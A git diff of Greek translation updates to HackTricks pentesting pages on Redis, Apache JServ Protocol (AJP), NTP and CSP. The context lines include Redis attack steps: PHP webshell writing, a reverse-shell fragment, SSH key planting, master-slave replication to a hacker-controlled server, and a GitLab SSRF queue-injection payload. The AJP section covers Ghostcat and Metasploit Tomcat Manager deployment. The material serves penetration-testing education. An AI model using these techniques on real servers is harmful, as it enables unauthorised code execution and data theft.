Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Τελευταίες ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -9,13 +9,13 @@
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -32,7 +32,7 @@
## Βασικές Πληροφορίες
Από [τα docs](https://redis.io/topics/introduction): Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), in-memory **data structure store**, που χρησιμοποιείται ως **βάση δεδομένων**, cache και message broker).
Από [τα docs](https://redis.io/topics/introduction): Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), in-memory **κατάστημα δομών δεδομένων**, που χρησιμοποιείται ως **βάση δεδομένων**, cache και message broker).
Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε απλό κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να υλοποιήσει **ssl/tls**. Μάθετε πώς να [τρέχετε το Redis με ssl/tls εδώ](https://fossies.org/linux/redis/TLS.md).
@ -67,7 +67,7 @@ In this last case, this means that **χρειάζεστε έγκυρα διαπ
### Redis Authentication
**Από προεπιλογή** η Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **ρυθμιστεί** ώστε να υποστηρίζει **μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης**.\
**Από προεπιλογή** η Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **ρυθμιστεί** ώστε να υποστηρίζει **μόνο κωδικό πρόσβασης, ή όνομα χρήστη + κωδικό πρόσβασης**.\
Είναι δυνατόν να **ορίσετε έναν κωδικό πρόσβασης** στο _**redis.conf**_ αρχείο με την παράμετρο `requirepass` **ή προσωρινά** μέχρι να επανεκκινήσει η υπηρεσία συνδεόμενοι σε αυτήν και εκτελώντας: `config set requirepass p@ss$12E45`.\
Επίσης, ένα **όνομα χρήστη** μπορεί να ρυθμιστεί στην παράμετρο `masteruser` μέσα στο _**redis.conf**_ αρχείο.
@ -76,7 +76,7 @@ In this last case, this means that **χρειάζεστε έγκυρα διαπ
Επίσης, σημειώστε ότι **δεν υπάρχει τρόπος να βρείτε εξωτερικά** αν η Redis έχει ρυθμιστεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
{% endhint %}
Σε περιπτώσεις όπως αυτή θα **χρειαστεί να βρείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με την Redis, οπότε μπορείτε να προσπαθήσετε να [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) την.\
Σε περιπτώσεις όπως αυτή θα **χρειαστεί να βρείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με την Redis, οπότε θα μπορούσατε να προσπαθήσετε να [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) την.\
**Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, πρέπει να αυθεντικοποιήσετε τη συνεδρία** μετά την εγκαθίδρυση της σύνδεσης με την εντολή:
```bash
AUTH <username> <password>
@ -85,7 +85,7 @@ AUTH <username> <password>
### **Επικυρωμένη καταμέτρηση**
Εάν ο διακομιστής Redis επιτρέπει **ανώνυμες συνδέσεις** ή εάν έχετε αποκτήσει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία καταμέτρησης για την υπηρεσία χρησιμοποιώντας τις παρακάτω **εντολές**:
Εάν ο διακομιστής Redis επιτρέπει **ανώνυμες συνδέσεις** ή αν έχετε αποκτήσει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία καταμέτρησης για την υπηρεσία χρησιμοποιώντας τις παρακάτω **εντολές**:
```bash
INFO
[ ... Redis response with info ... ]
@ -108,7 +108,7 @@ rename-command FLUSHDB ""
### **Εξαγωγή Βάσης Δεδομένων**
Μέσα στο Redis οι **βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0**. Μπορείτε να δείτε αν χρησιμοποιείται κάποια από αυτές στην έξοδο της εντολής `info` μέσα στο τμήμα "Keyspace":
Μέσα στο Redis οι **βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0**. Μπορείτε να βρείτε αν κάποια χρησιμοποιείται στην έξοδο της εντολής `info` μέσα στο τμήμα "Keyspace":
![](<../.gitbook/assets/image (766).png>)
@ -125,7 +125,7 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
Σε περίπτωση που λάβετε το παρακάτω σφάλμα `-WRONGTYPE Operation against a key holding the wrong kind of value` κατά την εκτέλεση του `GET <KEY>`, είναι επειδή το κλειδί μπορεί να είναι κάτι άλλο από μια συμβολοσειρά ή έναν ακέραιο και απαιτεί έναν ειδικό τελεστή για να το εμφανίσει.
Σε περίπτωση που λάβετε το εξής σφάλμα `-WRONGTYPE Operation against a key holding the wrong kind of value` κατά την εκτέλεση του `GET <KEY>`, είναι επειδή το κλειδί μπορεί να είναι κάτι άλλο από μια συμβολοσειρά ή έναν ακέραιο και απαιτεί έναν ειδικό τελεστή για να το εμφανίσει.
Για να γνωρίζετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή `TYPE`, παράδειγμα παρακάτω για κλειδιά λίστας και κατακερματισμού.
```bash
@ -141,7 +141,7 @@ DUMP <key>
```
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -166,7 +166,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
```
### PHP Webshell
Πληροφορίες από [**εδώ**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Πρέπει να γνωρίζετε την **διαδρομή** του **φακέλου της ιστοσελίδας**:
Πληροφορίες από [**εδώ**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Πρέπει να γνωρίζετε το **μονοπάτι** του **φακέλου της ιστοσελίδας**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -206,7 +206,7 @@ sh.stderr.pipe(client);
Παράδειγμα [από εδώ](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Παρακαλώ να είστε προσεκτικοί ότι το **`config get dir`** αποτέλεσμα μπορεί να αλλάξει μετά από άλλες χειροκίνητες εντολές εκμετάλλευσης. Συνιστάται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο του **`config get dir`** μπορείτε να βρείτε το **home** του **redis user** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό ξέρετε πού μπορείτε να γράψετε το αρχείο `authenticated_users` για πρόσβαση μέσω ssh **με τον χρήστη redis**. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:
Παρακαλώ να είστε προσεκτικοί ότι το **`config get dir`** αποτέλεσμα μπορεί να αλλάξει μετά από άλλες χειροκίνητες εντολές εκμετάλλευσης. Συνιστάται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο του **`config get dir`** μπορείτε να βρείτε το **home** του **redis user** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό ξέρετε πού μπορείτε να γράψετε το αρχείο `authenticated_users` για πρόσβαση μέσω ssh **με τον χρήστη redis**. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής μπορείτε επίσης να το εκμεταλλευτείτε:
1. Δημιουργήστε ένα ζεύγος δημόσιου-ιδιωτικού κλειδιού ssh στον υπολογιστή σας: **`ssh-keygen -t rsa`**
2. Γράψτε το δημόσιο κλειδί σε ένα αρχείο : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
@ -268,7 +268,7 @@ OK
### Μονάδα Master-Slave
Η κύρια redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στη slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως μια slave redis, συνδεδεμένη με την κύρια redis που ελέγχουμε, τότε μπορούμε να εισάγουμε την εντολή στη δική μας redis.
Η κύρια redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στη slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως μια slave redis, συνδεδεμένη με την κύρια redis που ελέγχουμε, στη συνέχεια μπορούμε να εισάγουμε την εντολή στη δική μας redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -298,7 +298,7 @@ set mykey2 helloworld
Στο **Gitlab11.4.7** ανακαλύφθηκε μια **SSRF** ευπάθεια και μια **CRLF**. Η **SSRF** ευπάθεια ήταν στη **λειτουργία εισαγωγής έργου από URL** κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες IPs με τη μορφή \[0:0:0:0:0:ffff:127.0.0.1] (αυτό θα έχει πρόσβαση στο 127.0.0.1), και η ευπάθεια **CRLF** εκμεταλλεύτηκε απλά **προσθέτοντας χαρακτήρες %0D%0A** στο **URL**.
Έτσι, ήταν δυνατό να **καταχραστούν αυτές οι ευπάθειες για να μιλήσουν με την παρουσία Redis** που **διαχειρίζεται τις ουρές** από **gitlab** και να καταχραστούν αυτές τις ουρές για να **αποκτήσουν εκτέλεση κώδικα**. Το payload κατάχρησης ουράς Redis είναι:
Έτσι, ήταν δυνατό να **καταχραστούν αυτές οι ευπάθειες για να μιλήσουν με την παρουσία Redis** που **διαχειρίζεται τις ουρές** από **gitlab** και να καταχραστούν αυτές τις ουρές για να **αποκτήσουν εκτέλεση κώδικα**. Το payload κατάχρησης της ουράς Redis είναι:
```
multi
sadd resque:gitlab:queues system_hook_push
@ -311,7 +311,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
```
ια κάποιο λόγο (όπως για τον συγγραφέα του_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _από όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το `git` scheme και όχι με το `http` scheme._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -1,46 +1,46 @@
# 8009 - Pentesting Apache JServ Protocol (AJP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Ενημερώσεις Hacking**\
Συμμετάσχετε σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφορμών
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
## Basic Information
## Βασικές Πληροφορίες
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
Από: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP είναι ένα πρωτόκολλο καλωδίωσης. Είναι μια βελτιστοποιημένη έκδοση του πρωτοκόλλου HTTP για να επιτρέπει σε έναν αυτόνομο web server όπως ο [Apache](http://httpd.apache.org/) να επικοινωνεί με τον Tomcat. Ιστορικά, ο Apache ήταν πολύ πιο γρήγορος από τον Tomcat στην εξυπηρέτηση στατικού περιεχομένου. Η ιδέα είναι να επιτρέπεται στον Apache να εξυπηρετεί το στατικό περιεχόμενο όταν είναι δυνατόν, αλλά να προξενεί το αίτημα στον Tomcat για περιεχόμενο σχετικό με τον Tomcat.
> Το AJP είναι ένα πρωτόκολλο καλωδίωσης. Είναι μια βελτιστοποιημένη έκδοση του πρωτοκόλλου HTTP για να επιτρέπει σε έναν αυτόνομο web server όπως ο [Apache](http://httpd.apache.org/) να επικοινωνεί με τον Tomcat. Ιστορικά, ο Apache ήταν πολύ πιο γρήγορος από τον Tomcat στην εξυπηρέτηση στατικού περιεχομένου. Η ιδέα είναι να επιτρέπεται στον Apache να εξυπηρετεί το στατικό περιεχόμενο όταν είναι δυνατόν, αλλά να προξενεί το αίτημα στον Tomcat για περιεχόμενο σχετικό με τον Tomcat.
Also interesting:
Επίσης ενδιαφέρον:
> Το πρωτόκολλο ajp13 είναι προσανατολισμένο σε πακέτα. Ένας δυαδικός μορφότυπος επιλέχθηκε προφανώς σε σχέση με το πιο αναγνώσιμο απλό κείμενο για λόγους απόδοσης. Ο web server επικοινωνεί με το servlet container μέσω TCP συνδέσεων. Για να μειωθεί η δαπανηρή διαδικασία δημιουργίας socket, ο web server θα προσπαθήσει να διατηρήσει μόνιμες TCP συνδέσεις με το servlet container και να επαναχρησιμοποιήσει μια σύνδεση για πολλαπλούς κύκλους αιτήσεων/απαντήσεων.
**Default port:** 8009
**Προεπιλεγμένη θύρα:** 8009
```
PORT STATE SERVICE
8009/tcp open ajp13
@ -49,7 +49,7 @@ PORT STATE SERVICE
Εάν η θύρα AJP είναι εκτεθειμένη, το Tomcat μπορεί να είναι ευάλωτο στην ευπάθεια Ghostcat. Εδώ είναι ένα [exploit](https://www.exploit-db.com/exploits/48143) που λειτουργεί με αυτό το ζήτημα.
Το Ghostcat είναι μια ευπάθεια LFI, αλλά κάπως περιορισμένη: μόνο αρχεία από μια συγκεκριμένη διαδρομή μπορούν να ανακτηθούν. Ωστόσο, αυτό μπορεί να περιλαμβάνει αρχεία όπως το `WEB-INF/web.xml` που μπορεί να διαρρεύσουν σημαντικές πληροφορίες όπως διαπιστευτήρια για τη διεπαφή Tomcat, ανάλογα με τη ρύθμιση του διακομιστή.
Το Ghostcat είναι μια ευπάθεια LFI, αλλά κάπως περιορισμένη: μόνο αρχεία από μια συγκεκριμένη διαδρομή μπορούν να ανακτηθούν. Παρ' όλα αυτά, αυτό μπορεί να περιλαμβάνει αρχεία όπως το `WEB-INF/web.xml` που μπορεί να διαρρεύσουν σημαντικές πληροφορίες όπως διαπιστευτήρια για τη διεπαφή Tomcat, ανάλογα με τη ρύθμιση του διακομιστή.
Οι διορθωμένες εκδόσεις από 9.0.31, 8.5.51 και 7.0.100 έχουν διορθώσει αυτό το ζήτημα.
@ -67,7 +67,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
[Δείτε την εκδοχή Dockerized](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
Όταν συναντήσουμε μια ανοιχτή θύρα AJP proxy (8009 TCP), μπορούμε να χρησιμοποιήσουμε το Nginx με το `ajp_module` για να αποκτήσουμε πρόσβαση στον "κρυφό" Tomcat Manager. Αυτό μπορεί να γίνει με την εκτέλεση της διαδικασίας συμπίεσης του πηγαίου κώδικα του Nginx και την προσθήκη του απαιτούμενου module, ως εξής:
Όταν συναντάμε μια ανοιχτή θύρα AJP proxy (8009 TCP), μπορούμε να χρησιμοποιήσουμε το Nginx με το `ajp_module` για να αποκτήσουμε πρόσβαση στον "κρυφό" Tomcat Manager. Αυτό μπορεί να γίνει με την εκτέλεση της διαδικασίας συμπίεσης του πηγαίου κώδικα του Nginx και την προσθήκη του απαιτούμενου module, ως εξής:
* Κατεβάστε τον πηγαίο κώδικα του Nginx
* Κατεβάστε το απαιτούμενο module
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
```
### Apache AJP Proxy
Η συνάντηση ενός ανοιχτού θύρας 8009 χωρίς άλλες προσβάσιμες θύρες ιστού είναι σπάνια. Ωστόσο, είναι ακόμα δυνατό να εκμεταλλευτεί κανείς αυτό χρησιμοποιώντας **Metasploit**. Εκμεταλλευόμενοι το **Apache** ως proxy, τα αιτήματα μπορούν να ανακατευθυνθούν στο **Tomcat** στη θύρα 8009.
Η συνάντηση ενός ανοιχτού θύρας 8009 χωρίς άλλες προσβάσιμες θύρες ιστού είναι σπάνια. Ωστόσο, είναι ακόμα δυνατό να εκμεταλλευτεί κανείς αυτό χρησιμοποιώντας **Metasploit**. Με την εκμετάλλευση του **Apache** ως proxy, τα αιτήματα μπορούν να ανακατευθυνθούν στο **Tomcat** στη θύρα 8009.
```bash
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
@ -174,15 +174,15 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
**Επιγνώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και επιγνώσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
@ -195,7 +195,7 @@ msf exploit(tomcat_mgr_deploy) > show options
<details>
<summary>Υποστήριξη HackTricks</summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -33,7 +33,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Information
Το **Network Time Protocol (NTP)** διασφαλίζει ότι οι υπολογιστές και οι δικτυακές συσκευές σε δίκτυα με μεταβλητή καθυστέρηση συγχρονίζουν τις ρολόγια τους με ακρίβεια. Είναι ζωτικής σημασίας για τη διατήρηση ακριβούς χρονομέτρησης σε λειτουργίες IT, ασφάλεια και καταγραφή. Η ακρίβεια του NTP είναι ουσιώδης, αλλά ενέχει επίσης κινδύνους ασφάλειας αν δεν διαχειριστεί σωστά.
Το **Network Time Protocol (NTP)** διασφαλίζει ότι οι υπολογιστές και οι δικτυακές συσκευές σε δίκτυα με μεταβλητή καθυστέρηση συγχρονίζουν τις ρολόγια τους με ακρίβεια. Είναι ζωτικής σημασίας για τη διατήρηση ακριβούς χρονομέτρησης στις λειτουργίες IT, την ασφάλεια και την καταγραφή. Η ακρίβεια του NTP είναι ουσιώδης, αλλά ενέχει επίσης κινδύνους ασφαλείας αν δεν διαχειριστεί σωστά.
### Summary & Security Tips:
@ -42,7 +42,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
* **Security Measures**:
* Χρησιμοποιήστε αξιόπιστες πηγές NTP με αυθεντικοποίηση.
* Περιορίστε την πρόσβαση στο δίκτυο του διακομιστή NTP.
* Παρακολουθήστε τον συγχρονισμό για σημάδια παρεμβολής.
* Παρακολουθήστε τον συγχρονισμό για σημάδια παραβίασης.
**Default port:** 123/udp
```
@ -63,7 +63,7 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
## Εξέταση αρχείων ρυθμίσεων
## Εξέταση αρχείων διαμόρφωσης
* ntp.conf
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,9 +32,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
## What is CSP
